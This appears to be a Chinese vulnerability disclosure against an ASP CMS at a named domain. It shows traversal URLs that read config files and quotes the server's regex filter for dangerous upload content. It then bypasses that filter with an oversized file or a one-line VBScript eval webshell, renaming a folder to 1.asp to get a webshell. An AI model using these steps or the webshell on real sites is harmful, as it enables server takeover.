1.模板管理处对CurrPath参数过滤不当导致可以遍历上级目录 http://pplms.cn/x/admin/Template/TemplateManage.asp?CurrPath=%2Fx%2F 也可以直接查看文件内容,如 http://pplms.cn/x/admin/Template/Template.asp?Action=ModifyFileName=Config%2EaspCurrPath=
http://pplms.cn/x/admin/Template/TemplateManage.asp?CurrPath=%2Fx%2F

也可以直接查看文件内容,如
http://pplms.cn/x/admin/Template/Template.asp?Action=Modify&FileName=Config%2Easp&CurrPath=%2Fx%2FConfig

按说这里应该是编辑内容的,但是限制了可保存的文件名,文件名不能出现; 并且路径中也不能出现x.asp这种,就算你建立了x.asp这样的目录也不能在这里拿shell
2.结合1,虽然不能直接拿shell,但是支持我们新建一个1.asp的目录名,系统本身有上传文件管理的功能

我开始的想法是直接传jpg到1.asp目录里,但是文件内容也有检查限制

我们利用漏洞1读一下相关的代码,文件类型限制之类的就不看了,只看内容检查的地方,代码如下
'检查文件内容的是否合法 Function CheckFileContent(byval path,byval FileSize) Dim kk,NoAllowExtArr NoAllowExtArr=Split(NoAllowExt,"|") For kk=0 To Ubound(NoAllowExtArr) If InStr(LCase(path),"." & NoAllowExtArr(kk))<>0 Then Call PCls.DeleteFile(path)'删除指定文件 CheckFileContent= "文件上传失败,文件名不合法" Exit Function End If Next If FileSize>50 Then Exit Function '超过50K跳过检测 On Error Resume Next Dim FindContent,regEx,FoundTF FindContent=PCls.ReadFromFile(Replace(path,PCls.Setting(2),"")) If Err Then Exit Function:Err.Clear FoundTF=false Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "@\s*LANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b" If regEx.Test(FindContent) Then FoundTF=true End If regEx.Pattern = "execute\s*request" If regEx.Test(FindContent) Then FoundTF=true End If regEx.Pattern = "executeglobal\s*request" If regEx.Test(FindContent) Then FoundTF=true End If regEx.Pattern = "<script.*runat.*server(\n|.)*execute(\n|.)*<\/script>" If regEx.Test(FindContent) Then FoundTF=true End If regEx.Pattern = "\<%(.|\n)*%\>" If regEx.Test(FindContent) Then FoundTF=true End If If InStr(LCase(FindContent),"scripting.filesystemobject")<>0 or instr(lcase(FindContent),"adodb.stream")<>0 Then FoundTF=true End If Set regEx=nothing If FoundTF Then PCls.DeleteFile(path) CheckFileContent="系统检查到您上传的文件可能存在危险代码,不允许上传!" End If End Function
这里我们有两种绕过的方法
1是直接上传一个大于50k的
2是上传如下代码的一句话
<script language=VBScript runat=server>eval request("a")</Script>
正则匹配忽略了大小写
两种方式我们均上传成功
但是我发现默认会生成一个1asp的文件夹,而并非长传至1.asp,这个简单,利用模板管理的强大功能,把1asp目录重命名为1.asp就ok了
最终拿到了webshell

修复方案:
厂商还是有一定的安全意识的,如何修复我想也不用我多说了